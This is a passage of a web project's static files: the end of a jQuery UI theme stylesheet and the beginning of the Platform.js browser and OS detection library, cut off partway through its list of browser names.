875 | padding: 8px;
876 | position: absolute;
877 | z-index: 9999;
878 | max-width: 300px;
879 | }
880 | body .ui-tooltip {
881 | border-width: 2px;
882 | }
883 | /* Component containers
884 | ----------------------------------*/
885 | .ui-widget {
886 | font-family: Verdana,Arial,sans-serif;
887 | font-size: 1.1em;
888 | }
889 | .ui-widget .ui-widget {
890 | font-size: 1em;
891 | }
892 | .ui-widget input,
893 | .ui-widget select,
894 | .ui-widget textarea,
895 | .ui-widget button {
896 | font-family: Verdana,Arial,sans-serif;
897 | font-size: 1em;
898 | }
899 | .ui-widget.ui-widget-content {
900 | border: 1px solid #d3d3d3;
901 | }
902 | .ui-widget-content {
903 | border: 1px solid #aaaaaa;
904 | background: #ffffff;
905 | color: #222222;
906 | }
907 | .ui-widget-content a {
908 | color: #222222;
909 | }
910 | .ui-widget-header {
911 | border: 1px solid #aaaaaa;
912 | background: #cccccc url("images/ui-bg_highlight-soft_75_cccccc_1x100.png") 50% 50% repeat-x;
913 | color: #222222;
914 | font-weight: bold;
915 | }
916 | .ui-widget-header a {
917 | color: #222222;
918 | }
919 |
920 | /* Interaction states
921 | ----------------------------------*/
922 | .ui-state-default,
923 | .ui-widget-content .ui-state-default,
924 | .ui-widget-header .ui-state-default,
925 | .ui-button,
926 |
927 | /* We use html here because we need a greater specificity to make sure disabled
928 | works properly when clicked or hovered */
929 | html .ui-button.ui-state-disabled:hover,
930 | html .ui-button.ui-state-disabled:active {
931 | border: 1px solid #d3d3d3;
932 | background: #e6e6e6 url("images/ui-bg_glass_75_e6e6e6_1x400.png") 50% 50% repeat-x;
933 | font-weight: normal;
934 | color: #555555;
935 | }
936 | .ui-state-default a,
937 | .ui-state-default a:link,
938 | .ui-state-default a:visited,
939 | a.ui-button,
940 | a:link.ui-button,
941 | a:visited.ui-button,
942 | .ui-button {
943 | color: #555555;
944 | text-decoration: none;
945 | }
946 | .ui-state-hover,
947 | .ui-widget-content .ui-state-hover,
948 | .ui-widget-header .ui-state-hover,
949 | .ui-state-focus,
950 | .ui-widget-content .ui-state-focus,
951 | .ui-widget-header .ui-state-focus,
952 | .ui-button:hover,
953 | .ui-button:focus {
954 | border: 1px solid #999999;
955 | background: #dadada url("images/ui-bg_glass_75_dadada_1x400.png") 50% 50% repeat-x;
956 | font-weight: normal;
957 | color: #212121;
958 | }
959 | .ui-state-hover a,
960 | .ui-state-hover a:hover,
961 | .ui-state-hover a:link,
962 | .ui-state-hover a:visited,
963 | .ui-state-focus a,
964 | .ui-state-focus a:hover,
965 | .ui-state-focus a:link,
966 | .ui-state-focus a:visited,
967 | a.ui-button:hover,
968 | a.ui-button:focus {
969 | color: #212121;
970 | text-decoration: none;
971 | }
972 |
973 | .ui-visual-focus {
974 | box-shadow: 0 0 3px 1px rgb(94, 158, 214);
975 | }
976 | .ui-state-active,
977 | .ui-widget-content .ui-state-active,
978 | .ui-widget-header .ui-state-active,
979 | a.ui-button:active,
980 | .ui-button:active,
981 | .ui-button.ui-state-active:hover {
982 | border: 1px solid #aaaaaa;
983 | background: #ffffff url("images/ui-bg_glass_65_ffffff_1x400.png") 50% 50% repeat-x;
984 | font-weight: normal;
985 | color: #212121;
986 | }
987 | .ui-icon-background,
988 | .ui-state-active .ui-icon-background {
989 | border: #aaaaaa;
990 | background-color: #212121;
991 | }
992 | .ui-state-active a,
993 | .ui-state-active a:link,
994 | .ui-state-active a:visited {
995 | color: #212121;
996 | text-decoration: none;
997 | }
998 |
999 | /* Interaction Cues
1000 | ----------------------------------*/
1001 | .ui-state-highlight,
1002 | .ui-widget-content .ui-state-highlight,
1003 | .ui-widget-header .ui-state-highlight {
1004 | border: 1px solid #fcefa1;
1005 | background: #fbf9ee url("images/ui-bg_glass_55_fbf9ee_1x400.png") 50% 50% repeat-x;
1006 | color: #363636;
1007 | }
1008 | .ui-state-checked {
1009 | border: 1px solid #fcefa1;
1010 | background: #fbf9ee;
1011 | }
1012 | .ui-state-highlight a,
1013 | .ui-widget-content .ui-state-highlight a,
1014 | .ui-widget-header .ui-state-highlight a {
1015 | color: #363636;
1016 | }
1017 | .ui-state-error,
1018 | .ui-widget-content .ui-state-error,
1019 | .ui-widget-header .ui-state-error {
1020 | border: 1px solid #cd0a0a;
1021 | background: #fef1ec url("images/ui-bg_glass_95_fef1ec_1x400.png") 50% 50% repeat-x;
1022 | color: #cd0a0a;
1023 | }
1024 | .ui-state-error a,
1025 | .ui-widget-content .ui-state-error a,
1026 | .ui-widget-header .ui-state-error a {
1027 | color: #cd0a0a;
1028 | }
1029 | .ui-state-error-text,
1030 | .ui-widget-content .ui-state-error-text,
1031 | .ui-widget-header .ui-state-error-text {
1032 | color: #cd0a0a;
1033 | }
1034 | .ui-priority-primary,
1035 | .ui-widget-content .ui-priority-primary,
1036 | .ui-widget-header .ui-priority-primary {
1037 | font-weight: bold;
1038 | }
1039 | .ui-priority-secondary,
1040 | .ui-widget-content .ui-priority-secondary,
1041 | .ui-widget-header .ui-priority-secondary {
1042 | opacity: .7;
1043 | filter:Alpha(Opacity=70); /* support: IE8 */
1044 | font-weight: normal;
1045 | }
1046 | .ui-state-disabled,
1047 | .ui-widget-content .ui-state-disabled,
1048 | .ui-widget-header .ui-state-disabled {
1049 | opacity: .35;
1050 | filter:Alpha(Opacity=35); /* support: IE8 */
1051 | background-image: none;
1052 | }
1053 | .ui-state-disabled .ui-icon {
1054 | filter:Alpha(Opacity=35); /* support: IE8 - See #6059 */
1055 | }
1056 |
1057 | /* Icons
1058 | ----------------------------------*/
1059 |
1060 | /* states and images */
1061 | .ui-icon {
1062 | width: 16px;
1063 | height: 16px;
1064 | }
1065 | .ui-icon,
1066 | .ui-widget-content .ui-icon {
1067 | background-image: url("images/ui-icons_222222_256x240.png");
1068 | }
1069 | .ui-widget-header .ui-icon {
1070 | background-image: url("images/ui-icons_222222_256x240.png");
1071 | }
1072 | .ui-state-hover .ui-icon,
1073 | .ui-state-focus .ui-icon,
1074 | .ui-button:hover .ui-icon,
1075 | .ui-button:focus .ui-icon {
1076 | background-image: url("images/ui-icons_454545_256x240.png");
1077 | }
1078 | .ui-state-active .ui-icon,
1079 | .ui-button:active .ui-icon {
1080 | background-image: url("images/ui-icons_454545_256x240.png");
1081 | }
1082 | .ui-state-highlight .ui-icon,
1083 | .ui-button .ui-state-highlight.ui-icon {
1084 | background-image: url("images/ui-icons_2e83ff_256x240.png");
1085 | }
1086 | .ui-state-error .ui-icon,
1087 | .ui-state-error-text .ui-icon {
1088 | background-image: url("images/ui-icons_cd0a0a_256x240.png");
1089 | }
1090 | .ui-button .ui-icon {
1091 | background-image: url("images/ui-icons_888888_256x240.png");
1092 | }
1093 |
1094 | /* positioning */
1095 | .ui-icon-blank { background-position: 16px 16px; }
1096 | .ui-icon-caret-1-n { background-position: 0 0; }
1097 | .ui-icon-caret-1-ne { background-position: -16px 0; }
1098 | .ui-icon-caret-1-e { background-position: -32px 0; }
1099 | .ui-icon-caret-1-se { background-position: -48px 0; }
1100 | .ui-icon-caret-1-s { background-position: -65px 0; }
1101 | .ui-icon-caret-1-sw { background-position: -80px 0; }
1102 | .ui-icon-caret-1-w { background-position: -96px 0; }
1103 | .ui-icon-caret-1-nw { background-position: -112px 0; }
1104 | .ui-icon-caret-2-n-s { background-position: -128px 0; }
1105 | .ui-icon-caret-2-e-w { background-position: -144px 0; }
1106 | .ui-icon-triangle-1-n { background-position: 0 -16px; }
1107 | .ui-icon-triangle-1-ne { background-position: -16px -16px; }
1108 | .ui-icon-triangle-1-e { background-position: -32px -16px; }
1109 | .ui-icon-triangle-1-se { background-position: -48px -16px; }
1110 | .ui-icon-triangle-1-s { background-position: -65px -16px; }
1111 | .ui-icon-triangle-1-sw { background-position: -80px -16px; }
1112 | .ui-icon-triangle-1-w { background-position: -96px -16px; }
1113 | .ui-icon-triangle-1-nw { background-position: -112px -16px; }
1114 | .ui-icon-triangle-2-n-s { background-position: -128px -16px; }
1115 | .ui-icon-triangle-2-e-w { background-position: -144px -16px; }
1116 | .ui-icon-arrow-1-n { background-position: 0 -32px; }
1117 | .ui-icon-arrow-1-ne { background-position: -16px -32px; }
1118 | .ui-icon-arrow-1-e { background-position: -32px -32px; }
1119 | .ui-icon-arrow-1-se { background-position: -48px -32px; }
1120 | .ui-icon-arrow-1-s { background-position: -65px -32px; }
1121 | .ui-icon-arrow-1-sw { background-position: -80px -32px; }
1122 | .ui-icon-arrow-1-w { background-position: -96px -32px; }
1123 | .ui-icon-arrow-1-nw { background-position: -112px -32px; }
1124 | .ui-icon-arrow-2-n-s { background-position: -128px -32px; }
1125 | .ui-icon-arrow-2-ne-sw { background-position: -144px -32px; }
1126 | .ui-icon-arrow-2-e-w { background-position: -160px -32px; }
1127 | .ui-icon-arrow-2-se-nw { background-position: -176px -32px; }
1128 | .ui-icon-arrowstop-1-n { background-position: -192px -32px; }
1129 | .ui-icon-arrowstop-1-e { background-position: -208px -32px; }
1130 | .ui-icon-arrowstop-1-s { background-position: -224px -32px; }
1131 | .ui-icon-arrowstop-1-w { background-position: -240px -32px; }
1132 | .ui-icon-arrowthick-1-n { background-position: 1px -48px; }
1133 | .ui-icon-arrowthick-1-ne { background-position: -16px -48px; }
1134 | .ui-icon-arrowthick-1-e { background-position: -32px -48px; }
1135 | .ui-icon-arrowthick-1-se { background-position: -48px -48px; }
1136 | .ui-icon-arrowthick-1-s { background-position: -64px -48px; }
1137 | .ui-icon-arrowthick-1-sw { background-position: -80px -48px; }
1138 | .ui-icon-arrowthick-1-w { background-position: -96px -48px; }
1139 | .ui-icon-arrowthick-1-nw { background-position: -112px -48px; }
1140 | .ui-icon-arrowthick-2-n-s { background-position: -128px -48px; }
1141 | .ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; }
1142 | .ui-icon-arrowthick-2-e-w { background-position: -160px -48px; }
1143 | .ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; }
1144 | .ui-icon-arrowthickstop-1-n { background-position: -192px -48px; }
1145 | .ui-icon-arrowthickstop-1-e { background-position: -208px -48px; }
1146 | .ui-icon-arrowthickstop-1-s { background-position: -224px -48px; }
1147 | .ui-icon-arrowthickstop-1-w { background-position: -240px -48px; }
1148 | .ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; }
1149 | .ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; }
1150 | .ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; }
1151 | .ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; }
1152 | .ui-icon-arrowreturn-1-w { background-position: -64px -64px; }
1153 | .ui-icon-arrowreturn-1-n { background-position: -80px -64px; }
1154 | .ui-icon-arrowreturn-1-e { background-position: -96px -64px; }
1155 | .ui-icon-arrowreturn-1-s { background-position: -112px -64px; }
1156 | .ui-icon-arrowrefresh-1-w { background-position: -128px -64px; }
1157 | .ui-icon-arrowrefresh-1-n { background-position: -144px -64px; }
1158 | .ui-icon-arrowrefresh-1-e { background-position: -160px -64px; }
1159 | .ui-icon-arrowrefresh-1-s { background-position: -176px -64px; }
1160 | .ui-icon-arrow-4 { background-position: 0 -80px; }
1161 | .ui-icon-arrow-4-diag { background-position: -16px -80px; }
1162 | .ui-icon-extlink { background-position: -32px -80px; }
1163 | .ui-icon-newwin { background-position: -48px -80px; }
1164 | .ui-icon-refresh { background-position: -64px -80px; }
1165 | .ui-icon-shuffle { background-position: -80px -80px; }
1166 | .ui-icon-transfer-e-w { background-position: -96px -80px; }
1167 | .ui-icon-transferthick-e-w { background-position: -112px -80px; }
1168 | .ui-icon-folder-collapsed { background-position: 0 -96px; }
1169 | .ui-icon-folder-open { background-position: -16px -96px; }
1170 | .ui-icon-document { background-position: -32px -96px; }
1171 | .ui-icon-document-b { background-position: -48px -96px; }
1172 | .ui-icon-note { background-position: -64px -96px; }
1173 | .ui-icon-mail-closed { background-position: -80px -96px; }
1174 | .ui-icon-mail-open { background-position: -96px -96px; }
1175 | .ui-icon-suitcase { background-position: -112px -96px; }
1176 | .ui-icon-comment { background-position: -128px -96px; }
1177 | .ui-icon-person { background-position: -144px -96px; }
1178 | .ui-icon-print { background-position: -160px -96px; }
1179 | .ui-icon-trash { background-position: -176px -96px; }
1180 | .ui-icon-locked { background-position: -192px -96px; }
1181 | .ui-icon-unlocked { background-position: -208px -96px; }
1182 | .ui-icon-bookmark { background-position: -224px -96px; }
1183 | .ui-icon-tag { background-position: -240px -96px; }
1184 | .ui-icon-home { background-position: 0 -112px; }
1185 | .ui-icon-flag { background-position: -16px -112px; }
1186 | .ui-icon-calendar { background-position: -32px -112px; }
1187 | .ui-icon-cart { background-position: -48px -112px; }
1188 | .ui-icon-pencil { background-position: -64px -112px; }
1189 | .ui-icon-clock { background-position: -80px -112px; }
1190 | .ui-icon-disk { background-position: -96px -112px; }
1191 | .ui-icon-calculator { background-position: -112px -112px; }
1192 | .ui-icon-zoomin { background-position: -128px -112px; }
1193 | .ui-icon-zoomout { background-position: -144px -112px; }
1194 | .ui-icon-search { background-position: -160px -112px; }
1195 | .ui-icon-wrench { background-position: -176px -112px; }
1196 | .ui-icon-gear { background-position: -192px -112px; }
1197 | .ui-icon-heart { background-position: -208px -112px; }
1198 | .ui-icon-star { background-position: -224px -112px; }
1199 | .ui-icon-link { background-position: -240px -112px; }
1200 | .ui-icon-cancel { background-position: 0 -128px; }
1201 | .ui-icon-plus { background-position: -16px -128px; }
1202 | .ui-icon-plusthick { background-position: -32px -128px; }
1203 | .ui-icon-minus { background-position: -48px -128px; }
1204 | .ui-icon-minusthick { background-position: -64px -128px; }
1205 | .ui-icon-close { background-position: -80px -128px; }
1206 | .ui-icon-closethick { background-position: -96px -128px; }
1207 | .ui-icon-key { background-position: -112px -128px; }
1208 | .ui-icon-lightbulb { background-position: -128px -128px; }
1209 | .ui-icon-scissors { background-position: -144px -128px; }
1210 | .ui-icon-clipboard { background-position: -160px -128px; }
1211 | .ui-icon-copy { background-position: -176px -128px; }
1212 | .ui-icon-contact { background-position: -192px -128px; }
1213 | .ui-icon-image { background-position: -208px -128px; }
1214 | .ui-icon-video { background-position: -224px -128px; }
1215 | .ui-icon-script { background-position: -240px -128px; }
1216 | .ui-icon-alert { background-position: 0 -144px; }
1217 | .ui-icon-info { background-position: -16px -144px; }
1218 | .ui-icon-notice { background-position: -32px -144px; }
1219 | .ui-icon-help { background-position: -48px -144px; }
1220 | .ui-icon-check { background-position: -64px -144px; }
1221 | .ui-icon-bullet { background-position: -80px -144px; }
1222 | .ui-icon-radio-on { background-position: -96px -144px; }
1223 | .ui-icon-radio-off { background-position: -112px -144px; }
1224 | .ui-icon-pin-w { background-position: -128px -144px; }
1225 | .ui-icon-pin-s { background-position: -144px -144px; }
1226 | .ui-icon-play { background-position: 0 -160px; }
1227 | .ui-icon-pause { background-position: -16px -160px; }
1228 | .ui-icon-seek-next { background-position: -32px -160px; }
1229 | .ui-icon-seek-prev { background-position: -48px -160px; }
1230 | .ui-icon-seek-end { background-position: -64px -160px; }
1231 | .ui-icon-seek-start { background-position: -80px -160px; }
1232 | /* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */
1233 | .ui-icon-seek-first { background-position: -80px -160px; }
1234 | .ui-icon-stop { background-position: -96px -160px; }
1235 | .ui-icon-eject { background-position: -112px -160px; }
1236 | .ui-icon-volume-off { background-position: -128px -160px; }
1237 | .ui-icon-volume-on { background-position: -144px -160px; }
1238 | .ui-icon-power { background-position: 0 -176px; }
1239 | .ui-icon-signal-diag { background-position: -16px -176px; }
1240 | .ui-icon-signal { background-position: -32px -176px; }
1241 | .ui-icon-battery-0 { background-position: -48px -176px; }
1242 | .ui-icon-battery-1 { background-position: -64px -176px; }
1243 | .ui-icon-battery-2 { background-position: -80px -176px; }
1244 | .ui-icon-battery-3 { background-position: -96px -176px; }
1245 | .ui-icon-circle-plus { background-position: 0 -192px; }
1246 | .ui-icon-circle-minus { background-position: -16px -192px; }
1247 | .ui-icon-circle-close { background-position: -32px -192px; }
1248 | .ui-icon-circle-triangle-e { background-position: -48px -192px; }
1249 | .ui-icon-circle-triangle-s { background-position: -64px -192px; }
1250 | .ui-icon-circle-triangle-w { background-position: -80px -192px; }
1251 | .ui-icon-circle-triangle-n { background-position: -96px -192px; }
1252 | .ui-icon-circle-arrow-e { background-position: -112px -192px; }
1253 | .ui-icon-circle-arrow-s { background-position: -128px -192px; }
1254 | .ui-icon-circle-arrow-w { background-position: -144px -192px; }
1255 | .ui-icon-circle-arrow-n { background-position: -160px -192px; }
1256 | .ui-icon-circle-zoomin { background-position: -176px -192px; }
1257 | .ui-icon-circle-zoomout { background-position: -192px -192px; }
1258 | .ui-icon-circle-check { background-position: -208px -192px; }
1259 | .ui-icon-circlesmall-plus { background-position: 0 -208px; }
1260 | .ui-icon-circlesmall-minus { background-position: -16px -208px; }
1261 | .ui-icon-circlesmall-close { background-position: -32px -208px; }
1262 | .ui-icon-squaresmall-plus { background-position: -48px -208px; }
1263 | .ui-icon-squaresmall-minus { background-position: -64px -208px; }
1264 | .ui-icon-squaresmall-close { background-position: -80px -208px; }
1265 | .ui-icon-grip-dotted-vertical { background-position: 0 -224px; }
1266 | .ui-icon-grip-dotted-horizontal { background-position: -16px -224px; }
1267 | .ui-icon-grip-solid-vertical { background-position: -32px -224px; }
1268 | .ui-icon-grip-solid-horizontal { background-position: -48px -224px; }
1269 | .ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; }
1270 | .ui-icon-grip-diagonal-se { background-position: -80px -224px; }
1271 |
1272 |
1273 | /* Misc visuals
1274 | ----------------------------------*/
1275 |
1276 | /* Corner radius */
1277 | .ui-corner-all,
1278 | .ui-corner-top,
1279 | .ui-corner-left,
1280 | .ui-corner-tl {
1281 | border-top-left-radius: 4px;
1282 | }
1283 | .ui-corner-all,
1284 | .ui-corner-top,
1285 | .ui-corner-right,
1286 | .ui-corner-tr {
1287 | border-top-right-radius: 4px;
1288 | }
1289 | .ui-corner-all,
1290 | .ui-corner-bottom,
1291 | .ui-corner-left,
1292 | .ui-corner-bl {
1293 | border-bottom-left-radius: 4px;
1294 | }
1295 | .ui-corner-all,
1296 | .ui-corner-bottom,
1297 | .ui-corner-right,
1298 | .ui-corner-br {
1299 | border-bottom-right-radius: 4px;
1300 | }
1301 |
1302 | /* Overlays */
1303 | .ui-widget-overlay {
1304 | background: #aaaaaa;
1305 | opacity: .3;
1306 | filter: Alpha(Opacity=30); /* support: IE8 */
1307 | }
1308 | .ui-widget-shadow {
1309 | -webkit-box-shadow: -8px -8px 8px #aaaaaa;
1310 | box-shadow: -8px -8px 8px #aaaaaa;
1311 | }
1312 |
--------------------------------------------------------------------------------
/static/js/platform.js:
--------------------------------------------------------------------------------
1 | /*!
2 | * Platform.js
3 | * Copyright 2014-2020 Benjamin Tan
4 | * Copyright 2011-2013 John-David Dalton
5 | * Available under MIT license
6 | */
7 | ;(function() {
8 | 'use strict';
9 |
10 | /** Used to determine if values are of the language type `Object`. */
11 | var objectTypes = {
12 | 'function': true,
13 | 'object': true
14 | };
15 |
16 | /** Used as a reference to the global object. */
17 | var root = (objectTypes[typeof window] && window) || this;
18 |
19 | /** Backup possible global object. */
20 | var oldRoot = root;
21 |
22 | /** Detect free variable `exports`. */
23 | var freeExports = objectTypes[typeof exports] && exports;
24 |
25 | /** Detect free variable `module`. */
26 | var freeModule = objectTypes[typeof module] && module && !module.nodeType && module;
27 |
28 | /** Detect free variable `global` from Node.js or Browserified code and use it as `root`. */
29 | var freeGlobal = freeExports && freeModule && typeof global == 'object' && global;
30 | if (freeGlobal && (freeGlobal.global === freeGlobal || freeGlobal.window === freeGlobal || freeGlobal.self === freeGlobal)) {
31 | root = freeGlobal;
32 | }
33 |
34 | /**
35 | * Used as the maximum length of an array-like object.
36 | * See the [ES6 spec](http://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength)
37 | * for more details.
38 | */
39 | var maxSafeInteger = Math.pow(2, 53) - 1;
40 |
41 | /** Regular expression to detect Opera. */
42 | var reOpera = /\bOpera/;
43 |
44 | /** Possible global object. */
45 | var thisBinding = this;
46 |
47 | /** Used for native method references. */
48 | var objectProto = Object.prototype;
49 |
50 | /** Used to check for own properties of an object. */
51 | var hasOwnProperty = objectProto.hasOwnProperty;
52 |
53 | /** Used to resolve the internal `[[Class]]` of values. */
54 | var toString = objectProto.toString;
55 |
56 | /*--------------------------------------------------------------------------*/
57 |
58 | /**
59 | * Capitalizes a string value.
60 | *
61 | * @private
62 | * @param {string} string The string to capitalize.
63 | * @returns {string} The capitalized string.
64 | */
65 | function capitalize(string) {
66 | string = String(string);
67 | return string.charAt(0).toUpperCase() + string.slice(1);
68 | }
69 |
70 | /**
71 | * A utility function to clean up the OS name.
72 | *
73 | * @private
74 | * @param {string} os The OS name to clean up.
75 | * @param {string} [pattern] A `RegExp` pattern matching the OS name.
76 | * @param {string} [label] A label for the OS.
77 | */
78 | function cleanupOS(os, pattern, label) {
79 | // Platform tokens are defined at:
80 | // http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx
81 | // http://web.archive.org/web/20081122053950/http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx
82 | var data = {
83 | '10.0': '10',
84 | '6.4': '10 Technical Preview',
85 | '6.3': '8.1',
86 | '6.2': '8',
87 | '6.1': 'Server 2008 R2 / 7',
88 | '6.0': 'Server 2008 / Vista',
89 | '5.2': 'Server 2003 / XP 64-bit',
90 | '5.1': 'XP',
91 | '5.01': '2000 SP1',
92 | '5.0': '2000',
93 | '4.0': 'NT',
94 | '4.90': 'ME'
95 | };
96 | // Detect Windows version from platform tokens.
97 | if (pattern && label && /^Win/i.test(os) && !/^Windows Phone /i.test(os) &&
98 | (data = data[/[\d.]+$/.exec(os)])) {
99 | os = 'Windows ' + data;
100 | }
101 | // Correct character case and cleanup string.
102 | os = String(os);
103 |
104 | if (pattern && label) {
105 | os = os.replace(RegExp(pattern, 'i'), label);
106 | }
107 |
108 | os = format(
109 | os.replace(/ ce$/i, ' CE')
110 | .replace(/\bhpw/i, 'web')
111 | .replace(/\bMacintosh\b/, 'Mac OS')
112 | .replace(/_PowerPC\b/i, ' OS')
113 | .replace(/\b(OS X) [^ \d]+/i, '$1')
114 | .replace(/\bMac (OS X)\b/, '$1')
115 | .replace(/\/(\d)/, ' $1')
116 | .replace(/_/g, '.')
117 | .replace(/(?: BePC|[ .]*fc[ \d.]+)$/i, '')
118 | .replace(/\bx86\.64\b/gi, 'x86_64')
119 | .replace(/\b(Windows Phone) OS\b/, '$1')
120 | .replace(/\b(Chrome OS \w+) [\d.]+\b/, '$1')
121 | .split(' on ')[0]
122 | );
123 |
124 | return os;
125 | }
126 |
127 | /**
128 | * An iteration utility for arrays and objects.
129 | *
130 | * @private
131 | * @param {Array|Object} object The object to iterate over.
132 | * @param {Function} callback The function called per iteration.
133 | */
134 | function each(object, callback) {
135 | var index = -1,
136 | length = object ? object.length : 0;
137 |
138 | if (typeof length == 'number' && length > -1 && length <= maxSafeInteger) {
139 | while (++index < length) {
140 | callback(object[index], index, object);
141 | }
142 | } else {
143 | forOwn(object, callback);
144 | }
145 | }
146 |
147 | /**
148 | * Trim and conditionally capitalize string values.
149 | *
150 | * @private
151 | * @param {string} string The string to format.
152 | * @returns {string} The formatted string.
153 | */
154 | function format(string) {
155 | string = trim(string);
156 | return /^(?:webOS|i(?:OS|P))/.test(string)
157 | ? string
158 | : capitalize(string);
159 | }
160 |
161 | /**
162 | * Iterates over an object's own properties, executing the `callback` for each.
163 | *
164 | * @private
165 | * @param {Object} object The object to iterate over.
166 | * @param {Function} callback The function executed per own property.
167 | */
168 | function forOwn(object, callback) {
169 | for (var key in object) {
170 | if (hasOwnProperty.call(object, key)) {
171 | callback(object[key], key, object);
172 | }
173 | }
174 | }
175 |
176 | /**
177 | * Gets the internal `[[Class]]` of a value.
178 | *
179 | * @private
180 | * @param {*} value The value.
181 | * @returns {string} The `[[Class]]`.
182 | */
183 | function getClassOf(value) {
184 | return value == null
185 | ? capitalize(value)
186 | : toString.call(value).slice(8, -1);
187 | }
188 |
189 | /**
190 | * Host objects can return type values that are different from their actual
191 | * data type. The objects we are concerned with usually return non-primitive
192 | * types of "object", "function", or "unknown".
193 | *
194 | * @private
195 | * @param {*} object The owner of the property.
196 | * @param {string} property The property to check.
197 | * @returns {boolean} Returns `true` if the property value is a non-primitive, else `false`.
198 | */
199 | function isHostType(object, property) {
200 | var type = object != null ? typeof object[property] : 'number';
201 | return !/^(?:boolean|number|string|undefined)$/.test(type) &&
202 | (type == 'object' ? !!object[property] : true);
203 | }
204 |
205 | /**
206 | * Prepares a string for use in a `RegExp` by making hyphens and spaces optional.
207 | *
208 | * @private
209 | * @param {string} string The string to qualify.
210 | * @returns {string} The qualified string.
211 | */
212 | function qualify(string) {
213 | return String(string).replace(/([ -])(?!$)/g, '$1?');
214 | }
215 |
216 | /**
217 | * A bare-bones `Array#reduce` like utility function.
218 | *
219 | * @private
220 | * @param {Array} array The array to iterate over.
221 | * @param {Function} callback The function called per iteration.
222 | * @returns {*} The accumulated result.
223 | */
224 | function reduce(array, callback) {
225 | var accumulator = null;
226 | each(array, function(value, index) {
227 | accumulator = callback(accumulator, value, index, array);
228 | });
229 | return accumulator;
230 | }
231 |
232 | /**
233 | * Removes leading and trailing whitespace from a string.
234 | *
235 | * @private
236 | * @param {string} string The string to trim.
237 | * @returns {string} The trimmed string.
238 | */
239 | function trim(string) {
240 | return String(string).replace(/^ +| +$/g, '');
241 | }
242 |
243 | /*--------------------------------------------------------------------------*/
244 |
245 | /**
246 | * Creates a new platform object.
247 | *
248 | * @memberOf platform
249 | * @param {Object|string} [ua=navigator.userAgent] The user agent string or
250 | * context object.
251 | * @returns {Object} A platform object.
252 | */
253 | function parse(ua) {
254 |
255 | /** The environment context object. */
256 | var context = root;
257 |
258 | /** Used to flag when a custom context is provided. */
259 | var isCustomContext = ua && typeof ua == 'object' && getClassOf(ua) != 'String';
260 |
261 | // Juggle arguments.
262 | if (isCustomContext) {
263 | context = ua;
264 | ua = null;
265 | }
266 |
267 | /** Browser navigator object. */
268 | var nav = context.navigator || {};
269 |
270 | /** Browser user agent string. */
271 | var userAgent = nav.userAgent || '';
272 |
273 | ua || (ua = userAgent);
274 |
275 | /** Used to flag when `thisBinding` is the [ModuleScope]. */
276 | var isModuleScope = isCustomContext || thisBinding == oldRoot;
277 |
278 | /** Used to detect if browser is like Chrome. */
279 | var likeChrome = isCustomContext
280 | ? !!nav.likeChrome
281 | : /\bChrome\b/.test(ua) && !/internal|\n/i.test(toString.toString());
282 |
283 | /** Internal `[[Class]]` value shortcuts. */
284 | var objectClass = 'Object',
285 | airRuntimeClass = isCustomContext ? objectClass : 'ScriptBridgingProxyObject',
286 | enviroClass = isCustomContext ? objectClass : 'Environment',
287 | javaClass = (isCustomContext && context.java) ? 'JavaPackage' : getClassOf(context.java),
288 | phantomClass = isCustomContext ? objectClass : 'RuntimeObject';
289 |
290 | /** Detect Java environments. */
291 | var java = /\bJava/.test(javaClass) && context.java;
292 |
293 | /** Detect Rhino. */
294 | var rhino = java && getClassOf(context.environment) == enviroClass;
295 |
296 | /** A character to represent alpha. */
297 | var alpha = java ? 'a' : '\u03b1';
298 |
299 | /** A character to represent beta. */
300 | var beta = java ? 'b' : '\u03b2';
301 |
302 | /** Browser document object. */
303 | var doc = context.document || {};
304 |
305 | /**
306 | * Detect Opera browser (Presto-based).
307 | * http://www.howtocreate.co.uk/operaStuff/operaObject.html
308 | * http://dev.opera.com/articles/view/opera-mini-web-content-authoring-guidelines/#operamini
309 | */
310 | var opera = context.operamini || context.opera;
311 |
312 | /** Opera `[[Class]]`. */
313 | var operaClass = reOpera.test(operaClass = (isCustomContext && opera) ? opera['[[Class]]'] : getClassOf(opera))
314 | ? operaClass
315 | : (opera = null);
316 |
317 | /*------------------------------------------------------------------------*/
318 |
319 | /** Temporary variable used over the script's lifetime. */
320 | var data;
321 |
322 | /** The CPU architecture. */
323 | var arch = ua;
324 |
325 | /** Platform description array. */
326 | var description = [];
327 |
328 | /** Platform alpha/beta indicator. */
329 | var prerelease = null;
330 |
331 | /** A flag to indicate that environment features should be used to resolve the platform. */
332 | var useFeatures = ua == userAgent;
333 |
334 | /** The browser/environment version. */
335 | var version = useFeatures && opera && typeof opera.version == 'function' && opera.version();
336 |
337 | /** A flag to indicate if the OS ends with "/ Version" */
338 | var isSpecialCasedOS;
339 |
340 | /* Detectable layout engines (order is important). */
341 | var layout = getLayout([
342 | { 'label': 'EdgeHTML', 'pattern': 'Edge' },
343 | 'Trident',
344 | { 'label': 'WebKit', 'pattern': 'AppleWebKit' },
345 | 'iCab',
346 | 'Presto',
347 | 'NetFront',
348 | 'Tasman',
349 | 'KHTML',
350 | 'Gecko'
351 | ]);
352 |
353 | /* Detectable browser names (order is important). */
354 | var name = getName([
355 | 'Adobe AIR',
356 | 'Arora',
357 | 'Avant Browser',
358 | 'Breach',
359 | 'Camino',
360 | 'Electron',
361 | 'Epiphany',
362 | 'Fennec',
363 | 'Flock',
364 | 'Galeon',
365 | 'GreenBrowser',
366 | 'iCab',
367 | 'Iceweasel',
368 | 'K-Meleon',
369 | 'Konqueror',
370 | 'Lunascape',
371 | 'Maxthon',
372 | { 'label': 'Microsoft Edge', 'pattern': '(?:Edge|Edg|EdgA|EdgiOS)' },
373 | 'Midori',
374 | 'Nook Browser',
375 | 'PaleMoon',
376 | 'PhantomJS',
377 | 'Raven',
378 | 'Rekonq',
379 | 'RockMelt',
380 | { 'label': 'Samsung Internet', 'pattern': 'SamsungBrowser' },
381 | 'SeaMonkey',
382 | { 'label': 'Silk', 'pattern': '(?:Cloud9|Silk-Accelerated)' },
383 | 'Sleipnir',
384 | 'SlimBrowser',
